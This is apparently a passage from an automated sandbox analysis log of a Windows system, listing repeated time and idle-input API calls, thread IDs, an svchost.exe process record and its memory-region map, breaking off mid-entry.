	[0922.810] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0923.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8aa48dd0, dwHighDateTime=0x1d3d6d0)) 
	[0923.823] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0924.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8b3f4730, dwHighDateTime=0x1d3d6d0)) 
	[0924.838] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0925.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8bda0090, dwHighDateTime=0x1d3d6d0)) 
	[0925.851] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0926.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8c74b9f0, dwHighDateTime=0x1d3d6d0)) 
	[0926.868] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0927.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8d0f7350, dwHighDateTime=0x1d3d6d0)) 
	[0927.880] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0928.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8daa2cb0, dwHighDateTime=0x1d3d6d0)) 
	[0928.893] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0929.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8e44e610, dwHighDateTime=0x1d3d6d0)) 
	[0929.908] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0930.922] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8edf9f70, dwHighDateTime=0x1d3d6d0)) 
	[0930.922] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0931.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x8f7a58d0, dwHighDateTime=0x1d3d6d0)) 
	[0931.937] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0932.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x90177390, dwHighDateTime=0x1d3d6d0)) 
	[0932.968] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0933.983] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x90b22cf0, dwHighDateTime=0x1d3d6d0)) 
	[0933.983] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0934.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x914ce650, dwHighDateTime=0x1d3d6d0)) 
	[0934.992] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0936.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x91e79fb0, dwHighDateTime=0x1d3d6d0)) 
	[0936.007] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0937.021] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x92825910, dwHighDateTime=0x1d3d6d0)) 
	[0937.021] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0938.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x931d1270, dwHighDateTime=0x1d3d6d0)) 
	[0938.036] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0939.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x93b7cbd0, dwHighDateTime=0x1d3d6d0)) 
	[0939.049] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0940.063] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x94528530, dwHighDateTime=0x1d3d6d0)) 
	[0940.063] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0941.076] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x94ed3e90, dwHighDateTime=0x1d3d6d0)) 
	[0941.076] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0942.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9587f7f0, dwHighDateTime=0x1d3d6d0)) 
	[0942.094] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0943.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9622b150, dwHighDateTime=0x1d3d6d0)) 
	[0943.109] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0944.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x96bfcc10, dwHighDateTime=0x1d3d6d0)) 
	[0944.129] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0945.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x975ce6d0, dwHighDateTime=0x1d3d6d0)) 
	[0945.159] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0946.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x97f7a030, dwHighDateTime=0x1d3d6d0)) 
	[0946.179] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0947.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x98925990, dwHighDateTime=0x1d3d6d0)) 
	[0947.196] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0948.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x992d12f0, dwHighDateTime=0x1d3d6d0)) 
	[0948.206] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0949.224] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x99c7cc50, dwHighDateTime=0x1d3d6d0)) 
	[0949.224] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0950.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9a6285b0, dwHighDateTime=0x1d3d6d0)) 
	[0950.233] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0951.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9afd3f10, dwHighDateTime=0x1d3d6d0)) 
	[0951.250] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0952.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9b97f870, dwHighDateTime=0x1d3d6d0)) 
	[0952.261] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0953.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9c32b1d0, dwHighDateTime=0x1d3d6d0)) 
	[0953.276] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0954.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9ccd6b30, dwHighDateTime=0x1d3d6d0)) 
	[0954.292] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0955.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9d682490, dwHighDateTime=0x1d3d6d0)) 
	[0955.306] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0956.317] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9e02ddf0, dwHighDateTime=0x1d3d6d0)) 
	[0956.317] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0957.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9e9d9750, dwHighDateTime=0x1d3d6d0)) 
	[0957.332] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0958.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9f3850b0, dwHighDateTime=0x1d3d6d0)) 
	[0958.349] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0959.361] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0x9fd30a10, dwHighDateTime=0x1d3d6d0)) 
	[0959.361] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0960.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa06dc370, dwHighDateTime=0x1d3d6d0)) 
	[0960.376] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0961.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa1087cd0, dwHighDateTime=0x1d3d6d0)) 
	[0961.389] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0962.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa1a33630, dwHighDateTime=0x1d3d6d0)) 
	[0962.403] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1

Thread:
	id = 220
	os_tid = 0x144


Thread:
	id = 223
	os_tid = 0x558


Thread:
	id = 224
	os_tid = 0x650


Thread:
	id = 314
	os_tid = 0x1b4


Process:
	id = "10"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x1b3cf000"
	os_pid = "0x348"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "rpc_server"
	parent_id = "9"
	os_parent_pid = "0x7f0"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cb5b" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 2174
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2175
	        start_va = 0x20000
	          end_va = 0x26fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 2176
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2177
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 2178
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2179
	        start_va = 0xc0000
	          end_va = 0xc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000c0000"
	        filename = ""

Region:
	              id = 2180
	        start_va = 0xd0000
	          end_va = 0xd0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000d0000"
	        filename = ""

Region:
	              id = 2181
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 2182
	        start_va = 0xf0000
	          end_va = 0x16ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 2183
	        start_va = 0x170000
	          end_va = 0x170fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000170000"
	        filename = ""

Region:
	              id = 2184
	        start_va = 0x180000
	          end_va = 0x180fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000180000"
	        filename = ""

Region:
	              id = 2185
	        start_va = 0x190000
	          end_va = 0x190fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000190000"
	        filename = ""

Region:
	              id = 2186
	        start_va = 0x1a0000
	          end_va = 0x1a0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001a0000"
	        filename = ""

Region:
	              id = 2187
	        start_va = 0x1b0000
	          end_va = 0x2affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001b0000"
	        filename = ""

Region:
	              id = 2188
	        start_va = 0x2b0000
	          end_va = 0x36ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000002b0000"
	        filename = ""

Region:
	              id = 2189
	        start_va = 0x370000
	          end_va = 0x37ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000370000"
	        filename = ""

Region:
	              id = 2190
	        start_va = 0x380000
	          end_va = 0x47ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000380000"
	        filename = ""

Region:
	              id = 2191
	        start_va = 0x480000
	          end_va = 0x607fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000480000"
	        filename = ""

Region:
	              id = 2192
	        start_va = 0x610000
	          end_va = 0x790fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000610000"
	        filename = ""

Region:
	              id = 2193
	        start_va = 0x7a0000
	          end_va = 0xb92fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000007a0000"
	        filename = ""

Region:
	              id = 2194
	        start_va = 0xba0000
	          end_va = 0xc1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ba0000"
	        filename = ""

Region:
	              id = 2195
	        start_va = 0xc20000
	          end_va = 0xc9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000c20000"
	        filename = ""

Region:
	              id = 2196
	        start_va = 0xca0000
	          end_va = 0xd1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ca0000"
	        filename = ""

Region:
	              id = 2197
	        start_va = 0xd20000
	          end_va = 0xd21fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000d20000"
	        filename = ""

Region:
	              id = 2198
	        start_va = 0xd30000
	          end_va = 0xdaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000d30000"
	        filename = ""

Region:
	              id = 2199
	        start_va = 0xdb0000
	          end_va = 0xdb3fff
	     entry_point = 0xdb0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 2200
	        start_va = 0xdc0000
	          end_va = 0xdc1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000dc0000"
	        filename = ""

Region:
	              id = 2201
	        start_va = 0xdd0000
	          end_va = 0xdd3fff
	     entry_point = 0xdd0000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 2202
	        start_va = 0xde0000
	          end_va = 0xde0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000de0000"
	        filename = ""

Region:
	              id = 2203
	        start_va = 0xdf0000
	          end_va = 0xe6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000df0000"
	        filename = ""

Region:
	              id = 2204
	        start_va = 0xe70000
	          end_va = 0xe9ffff
	     entry_point = 0xe70000
	     region_type = mapped_file
	            name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db")

Region:
	              id = 2205
	        start_va = 0xeb0000
	          end_va = 0xebffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000eb0000"
	        filename = ""

Region:
	              id = 2206
	        start_va = 0xee0000
	          end_va = 0xf5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ee0000"
	        filename = ""

Region:
	              id = 2207
	        start_va = 0xf80000
	          end_va = 0xffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000f80000"
	        filename = ""

Region:
	              id = 2208
	        start_va = 0x1000000
	          end_va = 0x12cefff
	     entry_point = 0x1000000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 2209
	        start_va = 0x1310000
	          end_va = 0x138ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001310000"
	        filename = ""

Region:
	              id = 2210
	        start_va = 0x1390000
	          end_va = 0x140ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001390000"
	        filename = ""

Region:
	              id = 2211
	        start_va = 0x1450000
	          end_va = 0x14cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001450000"
	        filename = ""

Region:
	              id = 2212
	        start_va = 0x14d0000
	          end_va = 0x154ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000014d0000"
	        filename = ""

Region:
	              id = 2213
	        start_va = 0x1570000
	          end_va = 0x15effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001570000"
	        filename = ""

Region:
	              id = 2214
	        start_va = 0x1600000
	          end_va = 0x167ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001600000"
	        filename = ""

Region:
	              id = 2215
	        start_va = 0x16b0000
	          end_va = 0x172ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000016b0000"
	        filename = ""

Region:
	              id = 2216
	        start_va = 0x1730000
	          end_va = 0x17affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001730000"
	        filename = ""

Region:
	              id = 2217
	        start_va = 0x17e0000
	          end_va = 0x17effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000017e0000"
	        filename = ""

Region:
	              id = 2218
	        start_va = 0x1840000
	          end_va = 0x18bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001840000"
	        filename = ""

Region:
	              id = 2219
	        start_va = 0x18c0000
	          end_va = 0x1925fff
	     entry_point = 0x18c0000
	     region_type = mapped_file
	            name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db")

Region:
	              id = 2220
	        start_va = 0x19a0000
	          end_va = 0x1a1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000019a0000"
	        filename = ""

Region:
	              id = 2221
	        start_va = 0x1a20000
	          end_va = 0x1a9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001a20000"
	        filename = ""

Region:
	              id = 2222
	        start_va = 0x1aa0000
	          end_va = 0x1b1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001aa0000"
	        filename = ""

Region:
	              id = 2223
	        start_va = 0x1b40000
	          end_va = 0x1bbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001b40000"
	        filename = ""

Region:
	              id = 2224
	        start_va = 0x1bc0000
	          end_va = 0x1c3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001bc0000"
	        filename = ""

Region:
	              id = 2225
	        start_va = 0x1c80000
	          end_va = 0x1cfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001c80000"
	        filename = ""

Region:
	              id = 2226
	        start_va = 0x1d20000
	          end_va = 0x1d9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d20000"
	        filename = ""

Region:
	              id = 2227
	        start_va = 0x1dc0000
	          end_va = 0x1e3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001dc0000"
	        filename = ""

Region:
	              id = 2228
	        start_va = 0x1e40000
	          end_va = 0x1f3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001e40000"
	        filename = ""

Region:
	              id = 2229
	        start_va = 0x1f40000
	          end_va = 0x2282fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001f40000"
	        filename = ""

Region:
	              id = 2230
	        start_va = 0x22c0000
	          end_va = 0x233ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000022c0000"
	        filename = ""

Region:
	              id = 2231
	        start_va = 0x2340000
	          end_va = 0x23bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002340000"
	        filename = ""

Region:
	              id = 2232
	        start_va = 0x23d0000
	          end_va = 0x244ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000023d0000"
	        filename = ""

Region:
	              id = 2233
	        start_va = 0x2450000
	          end_va = 0x24cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002450000"
	        filename = ""

Region:
	              id = 2234
	        start_va = 0x24d0000
	          end_va = 0x254ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000024d0000"
	        filename = ""

Region:
	              id = 2235
	        start_va = 0x2560000
	          end_va = 0x25dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002560000"
	        filename = ""

Region:
	              id = 2236
	        start_va = 0x2670000
	          end_va = 0x26effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002670000"
	        filename = ""

Region:
	              id = 2237
	        start_va = 0x2750000
	          end_va = 0x27cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002750000"
	        filename = ""

Region:
	              id = 2238
	        start_va = 0x27d0000
	          end_va = 0x27dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000027d0000"
	        filename = ""

Region:
	              id = 2239
	        start_va = 0x2810000
	          end_va = 0x288ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002810000"
	        filename = ""

Region:
	              id = 2240
	        start_va = 0x28c0000
	          end_va = 0x293ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000028c0000"
	        filename = ""

Region:
	              id = 2241
	        start_va = 0x2960000
	          end_va = 0x29dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002960000"
	        filename = ""

Region:
	              id = 2242
	        start_va = 0x29e0000
	          end_va = 0x2adffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000029e0000"
	        filename = ""

Region:
	              id = 2243
	        start_va = 0x2ae0000
	          end_va = 0x2bdffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002ae0000"
	        filename = ""

Region:
	              id = 2244
	        start_va = 0x2be0000
	          end_va = 0x2c5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002be0000"
	        filename = ""

Region:
	              id = 2245
	        start_va = 0x2c70000
	          end_va = 0x2ceffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c70000"
	        filename = ""

Region:
	              id = 2246
	        start_va = 0x2cf0000
	          end_va = 0x2deffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002cf0000"
	        filename = ""

Region:
	              id = 2247
	        start_va = 0x2e20000
	          end_va = 0x2e9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002e20000"
	        filename = ""

Region:
	              id = 2248
	        start_va = 0x2ed0000
	          end_va = 0x2f4ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ed0000"
	        filename = ""

Region:
	              id = 2249
	        start_va = 0x2f50000
	          end_va = 0x304ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002f50000"
	        filename = ""

Region:
	              id = 2250
	        start_va = 0x3080000
	          end_va = 0x30fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003080000"
	        filename = ""

Region:
	              id = 2251
	        start_va = 0x3170000
	          end_va = 0x31effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003170000"
	        filename = ""

Region:
	              id = 2252
	        start_va = 0x3250000
	          end_va = 0x325ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003250000"
	        filename = ""

Region:
	              id = 2253
	        start_va = 0x3260000
	          end_va = 0x32dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003260000"
	        filename = ""

Region:
	              id = 2254
	        start_va = 0x3300000
	          end_va = 0x337ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003300000"
	        filename = ""

Region:
	              id = 2255
	        start_va = 0x33a0000
	          end_va = 0x341ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000033a0000"
	        filename = ""

Region:
	              id = 2256
	        start_va = 0x3430000
	          end_va = 0x34affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003430000"
	        filename = ""

Region:
	              id = 2257
